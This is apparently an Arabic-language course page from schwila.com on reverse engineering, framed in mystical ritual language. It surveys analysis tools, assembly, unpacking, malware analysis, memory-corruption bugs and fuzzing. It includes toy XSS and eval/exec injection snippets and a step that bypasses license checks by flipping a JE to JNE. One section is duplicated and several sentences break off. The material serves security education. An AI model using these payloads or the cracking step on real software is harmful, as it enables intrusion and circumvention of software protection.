دورة التحليل الجنائي الرقمي – schwila.com

دورة الهندسة العكسية

مقدمة من schwila.com


مرحبًا بك في منصة Schwila 👾 أنت الآن داخل تجربة لا تُشبه أي تعليم عرفته من قبل… 🔮 هنا، كل معلومة تتحوّل إلى مشهد حسّي وكل تحدٍ هو طقسٌ لاكتشاف ذاتك الرمزية. ✨ لا نُقدّم دورات فقط… بل نُطلق رحلات، نُمنح أوسمة، ونحتفل معك بكل إنجاز. 🎧 افتح حواسك، استعد لبداية رمزية لا تُنسى…

📜 ما هي الهندسة العكسية؟ تاريخها واستخداماتها في أمن المعلومات

الهندسة العكسية هي علمٌ وتقنية تُمكّن من فهم وتصميم الأنظمة من خلال تحليل مخرجاتها النهائية دون الحاجة إلى الوصول إلى التصميم الأصلي. في عالم البرمجيات، تُستخدم لفك التعليمات البرمجية الثنائية وفهم منطقها الداخلي.

١. التعريف التقني للهندسة العكسية

هي عملية تحليل نظام أو برنامج بهدف معرفة طريقة عمله الداخلية. تتم هذه العملية باستخدام أدوات قادرة على فك تجميع (Disassemble) التعليمات وتحويلها إلى شبه كود يُقرب الفهم الهيكلي للبرمجية.

٢. جذور تاريخية ورمزية

  • ظهرت مبادئها خلال الحروب العالمية لتفكيك أنظمة الخصوم العسكرية.
  • في الثمانينيات، برزت أهميتها مع تطور البرمجيات وتفشي البرمجيات الخبيثة.
  • في الأوساط التعليمية والبحثية، تحوّلت إلى ممارسة رمزية تكشف البنية الخفية لكل نظام مغلق المصدر.

٣. استخداماتها في أمن المعلومات

  • 🔍 تحليل البرمجيات الخبيثة لكشف طريقة عملها وإيقافها.
  • 🔐 اكتشاف الثغرات الأمنية في برامج الطرف الثالث.
  • 🛡️ تقييم مدى فعالية آليات الحماية والتحقق من وجود طرق تجاوز.
  • ⚙️ تطوير أدوات دفاعية وتحليلية تعتمد على فهم ديناميكيات التنفيذ.
  • 🎓 بناء تحديات تعليمية في مجالات الهندسة العكسية والـCTF لتمرين الباحثين الأمنيين.

٤. أدوات تحليل شهيرة

  • IDAPRO / Ghidra: تحليل ثابت وفك التعليمات.
  • x64dbg / OllyDbg: تحليل ديناميكي أثناء التشغيل.
  • Frida: لتتبع الوظائف أثناء التنفيذ (Runtime Hooking).
  • Binwalk / Radare2: لفحص ملفات النظام وفيرموير.

٥. مثال رمزي تحليلي

تعليمات تحقق من الترخيص:

cmp eax, 0
jne error

بفك الشيفرة وتحليل المسار، يمكن فهم ما إذا كان هذا يتحقق من وجود مفتاح تفعيل أو يقيّد تشغيل البرنامج.

🔮 الخلاصة الرمزية

الهندسة العكسية ليست فقط تقنية تحليل، بل شعيرة كشف تُعيد تشكيل الغموض إلى معرفة. إنها احتفال بالبنية، ورسالة للباحث الرمزي بأن كل برنامج مغلق يحمل سرًا يُمكن فكّه، وفهمه، ثم تأمينه بدقة طقسية تعيد التوازن بين المستخدم والمنظومة.

✅ لماذا نستخدم الهندسة العكسية؟

الهندسة العكسية ليست مجرد أداة تحليل… بل هي طقس رمزي يكشف المستور، ويحوّل الغموض البرمجي إلى معرفة ناصعة. إليك الغايات الثلاث الكبرى وراء استخدامها:

١. تحليل البرامج المغلقة – كشف الطقوس الداخلية

  • 🧠 فهم منطق التنفيذ الداخلي دون الحاجة إلى الكود المصدري.
  • 📦 تحليل سلوك البرامج المغلقة أو القديمة التي فقد مصدرها.
  • 🧭 تتبّع تعليمات التشغيل لتحديد خطوات المعالجة.
هذه المرحلة تسمح للمحلّل بفهم كيفية عمل النظام ومعرفة بنيته الخفية – وكأنه يقرأ طقوسه الداخلية.

٢. اكتشاف الثغرات – فتح البوابات السرية

  • 🔓 تحديد نقاط الضعف الأمنية داخل التطبيقات أو مكتبات غير موثقة.
  • 🛠️ اختبار مقاومة النظام لمحاولات الاستغلال عبر تحليل الحماية.
  • 👁️ استخراج معلومات يمكن استغلالها كالـ hardcoded credentials أو bypass points.
باستخدام الهندسة العكسية، يصبح الباحث الأمني قادراً على كشف بوابات مخفية خلف واجهات براقة.

٣. فهم البرمجيات الضارة – تفكيك الرموز السوداء

  • 🦠 تحليل طريقة انتشار الفيروسات والـRATs.
  • 📜 فك التشفير لاكتشاف ملفات الإعداد والخوادم الخلفية.
  • 🧬 تتبع تسلسل الأوامر والتأثير على النظام المضيف.
هنا تتحول الهندسة العكسية إلى سلاح دفاعي طقسي، يكشف نوايا البرمجية الخبيثة ويتيح بناء مضادات دقيقة.

🔮 الطابع الرمزي

كل استخدام للهندسة العكسية هو رحلة معرفية تبدأ من غموض الملف التنفيذي، وتبلغ ذروتها حين يُكشف المعنى وتُفك الرموز التقنية. هي ليست فقط تحليلًا… بل احتفال بالكشف، وطقسًا لفهم الذات الرقمية والعالم المخفي وراء الشيفرة.

🔍 أنواع الهندسة العكسية

📦 1. تحليل البرمجيات Software Reverse Engineering

تُستخدم لتحليل البرامج المغلقة المصدر أو التطبيقات المعدّلة لكشف كيفية عملها، ومكونات مكتباتها، وتفاعلاتها مع النظام.

🔐 2. فك الحماية والتشفير Anti-Tamper/Crack Analysis

يتم فيها تحليل طرق الحماية المستخدمة في التطبيقات (مثل الترخيص أو تشفير الملفات)، بهدف فهم أساليب الدفاع وابتكار طرق حماية أقوى، أو لكشف التلاعب في الأنظمة.

🧩 3. استكشاف الأكواد التنفيذية Binary/Executable Disassembly

يُركز هذا النوع على تحليل الملفات التنفيذية (`.exe`, `.dll`, `.so`) مباشرة لفك الشيفرة وتحويلها إلى تعليمات قابلة للقراءة باستخدام أدوات مثل IDA أو Ghidra.

🔄 4. الهندسة العكسية للأجهزة Hardware Reverse Engineering

رغم أنها خارج نطاق البرمجيات، إلا أن تحليل مكوّنات الأجهزة (الدوائر المطبوعة، الشرائح) يمثل جزءاً مهماً في فهم منتجات الخصوم أو تطوير نظائر محسّنة منها.

💬 تأمل رمزي

كل نوع من الهندسة العكسية هو نافذة لاختراق الغموض، حيث تصبح كل تعليمات مضمونة فرصة لفهم، كشف، وحماية. إنها طقسٌ رمزي للعبور من “الظاهر” إلى “الجوهري”.

🧪 أدوات الهندسة العكسية

🧠 أدوات الهندسة العكسية الأساسية

الأداة الوصف نظام التشغيل التكلفة
Ghidra من تطوير وكالة الأمن القومي الأمريكية، مفتوح المصدر، يدعم تحليل الثنائيات وتفكيك التعليمات التنفيذية. Windows / macOS / Linux مجاني
IDA Pro أحد أشهر أدوات التفكيك، يتميز بذكاءه في تحليل البنية والدوال، مع دعم واسع للمعماريات المختلفة. Windows / Linux مدفوع (مع نسخة مجانية محدودة)
Radare2 أداة قوية ومفتوحة المصدر، تدعم التفكيك، تحليل الذاكرة، التنقيح، لكنها تتطلب خبرة للتعامل مع واجهتها النصية. Linux / Windows / macOS مجاني
Binary Ninja واجهة بصرية جذابة، تدعم تحليل التعليمات البرمجية الثابتة والديناميكية، مع إمكانيات scripting قوية. Windows / macOS / Linux مدفوع (مع إصدار تعليمي)

🧠 تحدي عملي: تحليل ملف تنفيذي

🧩 الهدف

تحليل ملف تنفيذي (مثل sample.exe) لفهم طريقة عمله داخلياً، كشف التعليمات، واستنتاج ما يقوم به بالضبط دون وجود الشيفرة المصدرية.

🔍 خطوات التحليل الرمزي

  1. فحص خصائص الملف باستخدام PE Explorer أو Resource Hacker.
  2. تشغيل الملف داخل بيئة Sandbox مثل VirtualBox أو Cuckoo للحصول على سلوك ديناميكي.
  3. استخدام أداة مثل Ghidra أو IDA Pro لتفكيك الشيفرة التنفيذية وتحليل الدوال.
  4. مراقبة الاتصالات الشبكية باستخدام Wireshark أو Fiddler.
  5. تحليل الأوامر وطرق التشغيل لتحديد ما إذا كان يحتوي على وظائف خبيثة أو شبكات اتصال مخفية.
📌 لا تقم بتشغيل الملف مباشرة على نظامك الأساسي!

🧠 أسئلة تأملية

  • ما نوع التعليمات التي يستخدمها البرنامج؟
  • هل يحتوي على عمليات تشفير أو إخفاء تعليمات؟
  • هل يتصل بالإنترنت؟ لأي غرض؟
  • هل يقوم بتعديل سجلات النظام أو ملفات المستخدم؟

🔐 الناتج الرمزي

بعد انتهاء التحليل، يتم إنشاء “تقرير وعي تقني رمزي” يصف البرنامج بلغتك الخاصة: هل هو أداة؟ تهديد؟ اختبار؟… وهنا يتحقق الطقس الحقيقي: تحويل المعلومات التقنية الجافة إلى شعور مكتشف.

🧠 التعرف على لغة التجميع واستخدامها في تحليل البرامج

📌 ما هي لغة التجميع؟

لغة التجميع (Assembly) هي لغة منخفضة المستوى تُترجم مباشرة إلى تعليمات المعالج. تُعد حلقة الوصل بين الشيفرة المصدرية والشفرة الثنائية التي ينفذها الجهاز. تُستخدم في تحليل البرامج لمعرفة بالضبط ما يقوم به البرنامج، خاصة عندما لا تتوفر الشيفرة المصدرية الأصلية.

🔍 لماذا هي مهمة في الهندسة العكسية؟

  • تحليل البرامج الخبيثة: غالبًا ما تكون الشيفرة غامضة أو مضغوطة، وفهمها يتطلب تحليل تعليمات التجميع.
  • 🛡️ اكتشاف الثغرات: يمكن التعرف على ثغرات مثل buffer overflow أو code injection من خلال التعليمات الأساسية.
  • 🧠 فهم منطق التطبيق: معرفة تسلسل التعليمات يساعد على إعادة بناء المنطق الداخلي للبرنامج.

🧪 مثال على كود Assembly

MOV AX, 5
ADD AX, 2
INT 21H

هذا المثال يُحمّل الرقم 5 في AX، ثم يُضيف 2، وأخيرًا ينفذ مقاطعة DOS.

🔧 أدوات تساعد في تحليل تعليمات التجميع

  • IDA Pro – يعرض خريطة مرئية للتعليمات.
  • Ghidra – يُسهل قراءة التجميع وتحويله إلى شكل أقرب للكود العالي المستوى.
  • x64dbg – لتتبع تنفيذ الشيفرة خطوة بخطوة.

💬 تأمل رمزي

قراءة لغة التجميع تشبه التحديق في نُقوشٍ رقميةٍ قديمة – كل تعليمة هي همسة من عقل الآلة، وكل تحليل هو طقس لكشف ما لا يُرى بالعين المجرّدة.

📦 السجلات والذاكرة في البرمجيات

🧠 ما هي السجلات؟

السجلات Registers هي وحدات تخزين صغيرة وسريعة داخل المعالج، تُستخدم لتخزين البيانات المؤقتة مثل الأرقام، العناوين، أو القيم الوسيطة أثناء تنفيذ التعليمات.

  • AX: السجل الرئيسي للعمليات الرياضية.
  • BX: يُستخدم غالبًا في عمليات الفهرسة.
  • CX: يُستخدم كثيرًا كعداد في الحلقات.
  • DX: للسجلات الموسعة أو المعالجة الإضافية.

🧩 ما هي الذاكرة؟

الذاكرة هي المساحة التي تُخزّن فيها البيانات والتعليمات أثناء تشغيل البرنامج. تنقسم إلى عدة أنواع:

  • ذاكرة الوصول العشوائي (RAM): لتخزين البيانات المؤقتة.
  • الذاكرة المكدسة (Stack): لتخزين المتغيرات المحلية وعناوين العودة.
  • الذاكرة العامة (Heap): لتخصيص الكائنات والبيانات الديناميكية.

🧮 مثال رمزي بلغة Assembly

MOV AX, 3
MOV BX, 2
ADD AX, BX

يضع 3 في AX، و 2 في BX، ثم يجمعهما ليصبح AX = 5.

🛠️ كيفية التعامل معها في البرمجيات

  • عند تنفيذ التعليمات، تُنقل القيم بين Registers والذاكرة حسب الحاجة.
  • المحللون يستخدمون أدوات مثل IDA و Ghidra لفهم كيف يتم تخزين وتحويل القيم.
  • تحديد نقطة بداية التعليمات يتطلب معرفة بالذاكرة Stack و Instruction Pointer.

🔮 التأمل الرمزي

إن فهم السجلات والذاكرة ليس مجرد معرفة تقنية، بل هو اختراق لوعي الآلة، حيث يتحول التخزين إلى شعور، والتعليمة إلى طقسٍ لحظيّ يُترجم المعنى في قلب الرمز.

🛠️ أدوات الـ Debugging لفهم الأكواد التشغيلية

🧠 ما هي أدوات الـ Debugging؟

أدوات الـ Debugging تُستخدم لمراقبة تنفيذ البرنامج خطوة بخطوة، مما يسمح للمحلّل بفهم طريقة عمل البرنامج، تحديد نقاط الدخول، استخراج السجلات، والتحقق من وظائف غير موثّقة.

🔍 OllyDbg و x64dbg

  • OllyDbg: أداة تفكيك (Debugger) للبرامج الـ 32-بت، تُظهر الأكواد التنفيذية، قيم السجلات، والذاكرة النشطة.
  • x64dbg: النسخة المطوّرة لدعم 64-بت، تحتوي على واجهة رسومية قوية، تسجيل الحلقات، ونظام تعليقات وتحليل ديناميكي.

🚀 خطوات عملية لفهم الأكواد التشغيلية

  1. تحميل ملف EXE وتحليله داخل بيئة آمنة (Sandbox).
  2. فتح الملف داخل OllyDbg أو x64dbg.
  3. تحديد نقطة الدخول Entry Point وتحليل التسلسل الأول للتعليمات.
  4. تتبع التغييرات في السجلات AX, BX, CX أثناء التنفيذ.
  5. فحص نداءات النظام والمكتبات الخارجية (CALL, JMP).
  6. استخدام نقاط توقف Breakpoints لمراقبة سلوك معين.

🔧 مثال على تعليمة تشغيلية

MOV AX, 4
CALL 00401000
JMP 00402000

تحمل AX القيمة 4، ثم تستدعي دالة في العنوان المحدد، ثم تنتقل إلى عنوان آخر (قد يكون وظيفة خفية).

🔮 التأمل الرمزي

أدوات الـ Debugging ليست فقط أدوات تحليل… بل هي مرآة للعقل الرقمي، تُظهر للمحلّل كيف يفكر البرنامج داخليًا، وكيف يُخفي نواياه داخل تعليمات عابرة.

مرحلة الكشف الأولى

اضغط على الزر لتفعيل المرحلة التالية

تقنيات حماية البرامج: التعتيم والتغليف

🛡️ تقنيات حماية البرامج

🔐 ما هو التعتيم البرمجي (Obfuscation)؟

  • إخفاء منطق الكود الحقيقي لتضليل أدوات التحليل.
  • تغيير أسماء المتغيرات والدوال إلى رموز غير مفهومة.
  • إدخال تعليمات غير فعالة مثل NOP لتشويش التحليل.

📦 ما هو التغليف البرمجي (Packing)؟

  • ضغط أو تشفير البرنامج بحيث لا يظهر الكود الحقيقي إلا أثناء التشغيل.
  • يُستخدم غالبًا لإخفاء البرمجيات الخبيثة أو حماية الملكية الفكرية.
  • يتطلب أدوات لفك التغليف مثل UPX أو تحليل ديناميكي.

🧪 أدوات التحليل والتجاوز

  • 🔍 التحليل الثابت: باستخدام أدوات مثل Ghidra وIDA Pro لفك التعليمات وتحليل البنية.
  • 🚀 التحليل الديناميكي: باستخدام x64dbg أو OllyDbg لتتبع التنفيذ الفعلي.
  • 🧠 فك التشفير: باستخدام تقنيات مثل تحليل XOR أو فك Base64.

🧠 استخراج الأكواد من الملفات التنفيذية المشفّرة

🔐 ما هي الملفات التنفيذية المشفّرة؟

  • ملفات EXE أو APK تحتوي على كود برمجي مخفي أو مشفّر باستخدام تقنيات مثل Packing أو Obfuscation.
  • تُستخدم لإخفاء المنطق البرمجي أو منع التحليل والهندسة العكسية.
  • غالبًا ما تُستخدم في البرمجيات الخبيثة أو لحماية الملكية الفكرية.

🛠️ خطوات استخراج الأكواد

  1. 📥 تحميل الملف داخل بيئة آمنة (Sandbox).
  2. 🔍 تحليل ثابت باستخدام أدوات مثل Ghidra أو IDA Pro.
  3. 🚀 تحليل ديناميكي باستخدام x64dbg أو OllyDbg لتتبع التنفيذ.
  4. 🔓 فك التغليف باستخدام أدوات مثل UPX أو سكربتات Python.
  5. 🧵 استخراج السلاسل النصية باستخدام أدوات مثل FLOSS.

🧰 أدوات مفيدة

  • Ghidra: تحليل ملفات EXE وAPK وفك التعليمات البرمجية.
  • dnSpy / DotPeek: استخراج الكود المصدر من ملفات .NET.
  • FLOSS: استخراج السلاسل النصية المشفّرة من ملفات PE.
  • Python Scripts: لفك التغليف وتحليل الملفات ديناميكيًا.

🧪 مثال رمزي على فك التغليف

import base64
encoded = “cHJpbnQoJ0hlbGxvIFdvcmxkJyk=”
decoded = base64.b64decode(encoded).decode(“utf-8”)
exec(decoded)

هذا المثال يُظهر كيف يمكن لفك ترميز Base64 أن يكشف عن كود Python مخفي داخل ملف تنفيذي.

🎥 مصادر مرئية تعليمية

🔮 التأمل الرمزي

كل ملف مشفّر هو قناع رقمي… وكل عملية فك هي طقس رمزي لكشف النية البرمجية خلف الطبقات. استخراج الأكواد هو احتفال بالوضوح بعد الغموض.

🧠 استخراج الأكواد من الملفات التنفيذية المشفّرة

🔐 ما هي الملفات التنفيذية المشفّرة؟

  • ملفات EXE أو APK تحتوي على كود برمجي مخفي أو مشفّر باستخدام تقنيات مثل Packing أو Obfuscation.
  • تُستخدم لإخفاء المنطق البرمجي أو منع التحليل والهندسة العكسية.
  • غالبًا ما تُستخدم في البرمجيات الخبيثة أو لحماية الملكية الفكرية.

🛠️ خطوات استخراج الأكواد

  1. 📥 تحميل الملف داخل بيئة آمنة (Sandbox).
  2. 🔍 تحليل ثابت باستخدام أدوات مثل Ghidra أو IDA Pro.
  3. 🚀 تحليل ديناميكي باستخدام x64dbg أو OllyDbg لتتبع التنفيذ.
  4. 🔓 فك التغليف باستخدام أدوات مثل UPX أو سكربتات Python.
  5. 🧵 استخراج السلاسل النصية باستخدام أدوات مثل FLOSS.

🧰 أدوات مفيدة

  • Ghidra: تحليل ملفات EXE وAPK وفك التعليمات البرمجية.
  • dnSpy / DotPeek: استخراج الكود المصدر من ملفات .NET.
  • FLOSS: استخراج السلاسل النصية المشفّرة من ملفات PE.
  • Python Scripts: لفك التغليف وتحليل الملفات ديناميكيًا.

🧪 مثال رمزي على فك التغليف

import base64
encoded = “cHJpbnQoJ0hlbGxvIFdvcmxkJyk=”
decoded = base64.b64decode(encoded).decode(“utf-8”)
exec(decoded)

هذا المثال يُظهر كيف يمكن لفك ترميز Base64 أن يكشف عن كود Python مخفي داخل ملف تنفيذي.

🎥 مصادر مرئية تعليمية

🔮 التأمل الرمزي

كل ملف مشفّر هو قناع رقمي… وكل عملية فك هي طقس رمزي لكشف النية البرمجية خلف الطبقات. استخراج الأكواد هو احتفال بالوضوح بعد الغموض.

🕵️‍♂️ تحدي عملي: فك حماية برنامج باستخدام الهندسة العكسية

🎯 الهدف من التحدي

  • تحليل برنامج يحتوي على حماية رقمية (مثل التحقق من الترخيص أو تشفير الوظائف).
  • استخدام أدوات الهندسة العكسية لفهم طريقة الحماية.
  • تجاوز الحماية أو تعديل سلوك البرنامج.

🛠️ الأدوات المطلوبة

  • x64dbg / OllyDbg: لتتبع التعليمات التنفيذية.
  • Ghidra / IDA Pro: لتحليل الكود الثابت وفهم البنية.
  • PEiD / Detect It Easy: لتحديد نوع التغليف أو الحماية.
  • FLOSS: لاستخراج السلاسل النصية المشفّرة.

🧪 خطوات التحدي العملي

  1. 📥 تحميل البرنامج داخل بيئة آمنة (Sandbox).
  2. 🔍 فحص الملف باستخدام PEiD لتحديد نوع الحماية أو التغليف.
  3. 🚀 فتح الملف داخل x64dbg وتحديد نقطة الدخول (Entry Point).
  4. 🔓 تتبع التعليمات مثل CALL وJMP لفهم منطق التحقق.
  5. 🧠 تحليل الشيفرة التي تتحقق من الترخيص أو الرقم التسلسلي.
  6. ✂️ تعديل التعليمات (مثل تغيير شرط من JE إلى JNE) لتجاوز الحماية.
  7. ✅ حفظ الملف المعدّل واختباره.

🧬 مثال رمزي على تعديل التعليمات

CMP EAX, 1
JE 00401000

يمكن تعديل JE إلى JNE لتجاوز شرط التحقق من الترخيص.

🎥 مصادر تعليمية مرئية

🔮 التأمل الرمزي

كل حماية رقمية هي قناع برمجي… وكل عملية فك هي طقس رمزي لكشف النية البرمجية خلف الطبقات. الهندسة العكسية ليست اختراقًا… بل هي .

تحليل البرامج للكشف عن الثغرات الأمنية

🛡️ تحليل البرامج للكشف عن الثغرات الأمنية

🔍 ما هي الثغرات الأمنية؟

  • نقاط ضعف في الكود أو التكوين تسمح للمهاجمين باستغلال النظام.
  • تشمل ثغرات مثل SQL Injection، XSS، Buffer Overflow، وغيرها.
  • قد تكون ناتجة عن أخطاء برمجية أو سوء إعدادات أو مكتبات غير آمنة.

🧪 أنواع التحليل الأمني

  • التحليل الثابت (Static Analysis): فحص الكود دون تشغيله باستخدام أدوات مثل SAST.
  • التحليل الديناميكي (Dynamic Analysis): مراقبة سلوك البرنامج أثناء التشغيل باستخدام أدوات مثل DAST.
  • اختبار الاختراق (Penetration Testing): محاكاة هجمات حقيقية لاكتشاف الثغرات.

🛠️ أدوات تحليل الثغرات

  • Ghidra / IDA Pro: لتحليل التعليمات البرمجية الثابتة.
  • Burp Suite / OWASP ZAP: لاختبار تطبيقات الويب ديناميكيًا.
  • FLOSS: لاستخراج السلاسل النصية المشفّرة من ملفات تنفيذية.
  • SonarQube / Checkmarx: لفحص الكود المصدري بحثًا عن ثغرات.

📋 خطوات عملية لتحليل برنامج

  1. 📥 تحميل البرنامج داخل بيئة آمنة (Sandbox).
  2. 🔍 فحص الكود باستخدام أدوات تحليل ثابت.
  3. 🚀 تشغيل البرنامج داخل بيئة مراقبة وتحليل سلوكه.
  4. 🧠 البحث عن مدخلات غير مفلترة أو استدعاءات غير آمنة.
  5. 🔓 اختبار استغلال الثغرات المكتشفة باستخدام أدوات اختراق.
  6. ✅ توثيق النتائج وتقديم توصيات للإصلاح.

🧬 مثال رمزي على ثغرة XSS

<input type=”text” name=”search” value=”<script>alert(‘XSS’)</script>” />

هذا المثال يُظهر كيف يمكن إدخال كود JavaScript ضار في حقل إدخال غير مفلتر.

🎥 مصادر تعليمية مرئية

🔮 التأمل الرمزي

كل ثغرة أمنية هي بوابة غير محمية… وكل عملية تحليل هي طقس رمزي

🧠 فهم تقنيات Buffer Overflow و Format String Exploits

🔍 ما هو Buffer Overflow؟

  • يحدث عندما يتم إدخال بيانات تتجاوز حجم الذاكرة المخصصة لمتغير معين.
  • يسمح للمهاجم بكتابة بيانات في مواقع ذاكرة مجاورة، مما قد يؤدي إلى تنفيذ تعليمات ضارة.
  • غالبًا ما يُستغل لتغيير عنوان العودة (Return Address) في المكدس وتنفيذ Shellcode.

🧪 مثال رمزي على Buffer Overflow

char buffer[10];
gets(buffer); // إدخال غير محدود يؤدي إلى تجاوز السعة

الدالة gets لا تتحقق من طول الإدخال، مما يسمح بتجاوز السعة وكتابة بيانات في الذاكرة المجاورة.

📦 ما هو Format String Exploit؟

  • يحدث عندما يتم تمرير سلسلة تحتوي على رموز تنسيق (مثل %x أو %s) إلى دالة تنسيق مثل printf دون التحقق منها.
  • يسمح للمهاجم بقراءة أو كتابة بيانات من المكدس أو الذاكرة.
  • يمكن استخدامه لاستخراج معلومات حساسة أو تعديل سلوك البرنامج.

🧪 مثال رمزي على Format String Exploit

char userInput[100];
scanf(“%s”, userInput);
printf(userInput); // خطر: يتم تفسير الإدخال كرموز تنسيق

إذا أدخل المستخدم %x %x %x، فسيتم طباعة محتويات المكدس، مما يكشف عن بيانات حساسة.

🛠️ أدوات تحليل واستكشاف

  • x64dbg / OllyDbg: لتتبع التعليمات التنفيذية وتحليل المكدس.
  • Ghidra / IDA Pro: لتحليل الكود الثابت وفهم البنية الداخلية.
  • ASAN / Valgrind: لاكتشاف تجاوزات الذاكرة والثغرات أثناء التشغيل.

🎥 مصادر تعليمية مرئية

🔮 التأمل الرمزي

كل تجاوز للذاكرة هو كسر للحاجز الرقمي… وكل تنسيق غير مضبوط هو . فهم هذه التقنيات هو طقس رمزي لفك أسرار الكود وكشف ما وراء السطح.

🧠 استخدام Fuzzing لتحليل البرمجيات واكتشاف الأخطاء

🔍 ما هو Fuzzing؟

  • تقنية اختبار تلقائية ترسل مدخلات غير متوقعة أو عشوائية إلى البرنامج.
  • تهدف إلى كشف الأعطال، الثغرات، أو السلوك غير المتوقع.
  • تُستخدم في تحليل التطبيقات، البروتوكولات، واجهات API، وحتى ملفات الإدخال.

🧪 أنواع Fuzzing

  • Fuzzing ثابت: تحليل الكود دون تشغيله، باستخدام أدوات مثل AFL أو LibFuzzer.
  • Fuzzing ديناميكي: مراقبة البرنامج أثناء التشغيل، باستخدام أدوات مثل Peach أو BooFuzz.
  • Fuzzing موجه بالبروتوكول: إرسال حزم مخصصة إلى تطبيقات الشبكة.
  • Fuzzing لملفات الإدخال: تعديل ملفات شرعية واختبار تأثيرها على التطبيق.

📋 خطوات تنفيذ Fuzzing عملي

  1. 📥 تحديد نقاط الإدخال في البرنامج (مثل الحقول، الملفات، أو API).
  2. 🧵 اختيار أداة Fuzzing مناسبة حسب نوع التطبيق.
  3. 📚 إعداد Wordlist أو مولّد مدخلات عشوائية.
  4. 🚀 تشغيل Fuzzer ومراقبة الاستجابة (أعطال، استثناءات، سلوك غير متوقع).
  5. 🔍 تحليل النتائج وتحديد مصدر الخطأ أو الثغرة.

🛠️ أدوات Fuzzing شائعة

  • AFL (American Fuzzy Lop): أداة قوية لفحص البرامج المكتوبة بـ C/C++.
  • LibFuzzer: مدمجة مع LLVM، وتُستخدم لفحص وظائف محددة.
  • Boofuzz: مكتبة Python لفحص البروتوكولات والتطبيقات.
  • Ffuf: أداة سريعة لفحص تطبيقات الويب باستخدام Wordlists.
  • Peach Fuzzer: أداة تجارية لفحص التطبيقات والبروتوكولات.

🧬 مثال رمزي على Fuzzing مدخل نصي

import boofuzz
session = boofuzz.Session(target=boofuzz.Target(connection=boofuzz.SocketConnection(“127.0.0.1”, 8000)))
s_initialize(“fuzz_input”)
s_string(“GET /”, fuzzable=True)
session.connect(s_get(“fuzz_input”))

هذا المثال يُظهر كيف يمكن استخدام Boofuzz لفحص مدخلات تطبيق ويب يعمل على المنفذ 8000.

🎥 مصادر تعليمية مرئية

🔮 التأمل الرمزي

كل مدخل غير متوقع هو همسة من العقل الرقمي… وكل استجابة غير متوقعة هي بوابة لكشف النية البرمجية. Fuzzing ليس مجرد اختبار… بل هو طقس رمزي

🕵️‍♂️ تحدي عملي: تحليل تطبيق واكتشاف ثغرة أمنية

🎯 الهدف من التحدي

  • تحليل تطبيق مغلق المصدر باستخدام أدوات الهندسة العكسية.
  • اكتشاف ثغرة أمنية داخل منطق التطبيق أو ملفاته التنفيذية.
  • فهم كيفية استغلال الثغرة وتقديم توصيات للإصلاح.

🛠️ الأدوات المطلوبة

  • Ghidra / IDA Pro: لتحليل التعليمات البرمجية الثابتة.
  • x64dbg / OllyDbg: لتتبع التنفيذ وتحليل المكدس.
  • FLOSS: لاستخراج السلاسل النصية المشفّرة.
  • Detect It Easy / PEiD: لتحديد نوع التغليف أو الحماية.

📋 خطوات تنفيذ التحدي

  1. 📥 تحميل التطبيق داخل بيئة آمنة (Sandbox).
  2. 🔍 فحص الملف التنفيذي باستخدام Detect It Easy لتحديد نوع الحماية.
  3. 🧠 فتح الملف داخل Ghidra وتحليل الدوال المشبوهة (مثل التحقق من الترخيص أو التشفير).
  4. 🚀 تتبع التعليمات داخل x64dbg لتحديد سلوك التطبيق عند إدخال بيانات معينة.
  5. 🔓 اكتشاف ثغرة مثل Buffer Overflow أو Format String أو Hardcoded Credentials.
  6. ✅ توثيق الثغرة وتقديم إثبات للمفهوم (PoC).

🧪 مثال رمزي على ثغرة داخل التطبيق

char input[20];
scanf(“%s”, input); // لا يوجد تحقق من طول الإدخال

يمكن إدخال سلسلة طويلة تتجاوز 20 حرفًا مما يؤدي إلى Buffer Overflow.

🎥 مصادر تعليمية مرئية

🔮 التأمل الرمزي

كل تطبيق مغلق المصدر هو قناع رقمي… وكل عملية تحليل هي طقس رمزيفن فك الرموز

🧠 تحليل الفيروسات والتروجانات عبر فك التشفير

🔍 ما هي الفيروسات والتروجانات؟

  • الفيروسات: برامج خبيثة تُصيب الملفات وتنتشر عبر النسخ الذاتي.
  • التروجانات: برامج تبدو شرعية لكنها تُخفي وظائف خبيثة مثل فتح أبواب خلفية أو سرقة بيانات.
  • غالبًا ما تُستخدم تقنيات التعتيم والتشفير لإخفاء سلوكها الحقيقي.

🧪 خطوات تحليل الفيروسات عبر فك التشفير

  1. 📥 جمع العينة داخل بيئة آمنة (Sandbox).
  2. 🔍 فحص الملف باستخدام أدوات مثل PEiD أو Detect It Easy لتحديد نوع التغليف.
  3. 🧠 تحليل ثابت باستخدام Ghidra أو IDA Pro لفك التعليمات البرمجية.
  4. 🚀 تحليل ديناميكي باستخدام x64dbg أو OllyDbg لتتبع التنفيذ.
  5. 🔓 فك التغليف باستخدام أدوات مثل UPX أو سكربتات Python.
  6. 🧵 استخراج السلاسل النصية باستخدام FLOSS أو CyberChef.
  7. ✅ تحديد الوظائف الخبيثة مثل الاتصال بخادم خارجي أو تعديل ملفات النظام.

🧬 مثال رمزي على فك تشفير سطر خبيث

var encoded = “\x61\x6C\x65\x72\x74\x28\x27\x48\x61\x63\x6B\x65\x64\x21\x27\x29”;
eval(encoded); // يتم تنفيذ الكود بعد فك ترميز Hex

هذا المثال يُظهر كيف يتم إخفاء كود JavaScript داخل ترميز Hex، ويمكن تحليله باستخدام أدوات مثل CyberChef.

🛠️ أدوات تحليل وفك التشفير

  • CyberChef: لفك ترميز Base64، Hex، XOR، وغيرها.
  • FLOSS: لاستخراج السلاسل النصية المشفّرة من ملفات PE.
  • Ghidra / IDA Pro: لفك التعليمات البرمجية وتحليل البنية.
  • x64dbg / OllyDbg: لتتبع التنفيذ وفهم السلوك الديناميكي.
  • VirusTotal: لفحص السمعة وتحليل الملف عبر قاعدة بيانات جماعية.

🎥 مصادر تعليمية مرئية

🔮 التأمل الرمزي

كل فيروس مشفّر هو قناع رقمي… وكل عملية فك هي طقس رمزيفن كشف الأسرار

🧠 الهندسة العكسية للبرمجيات الخبيثة باستخدام Ghidra و IDA Pro

🔍 ما هي الهندسة العكسية؟

الهندسة العكسية هي عملية تحليل البرمجيات لفهم بنيتها الداخلية وسلوكها، خصوصًا عندما تكون الشيفرة المصدرية غير متاحة. تُستخدم لفحص البرمجيات الخبيثة، كشف الوظائف المخفية، وتحديد نقاط الضعف.

🧪 أدوات التحليل: Ghidra و IDA Pro

  • Ghidra: أداة مفتوحة المصدر من وكالة الأمن القومي الأمريكية، تدعم فك التعليمات البرمجية، التحليل التلقائي، والتعامل مع عدة معالجات وأنظمة تشغيل.
  • IDA Pro: أداة تجارية قوية تدعم التحليل الثابت والديناميكي، وتُستخدم على نطاق واسع في تحليل البرمجيات الخبيثة.

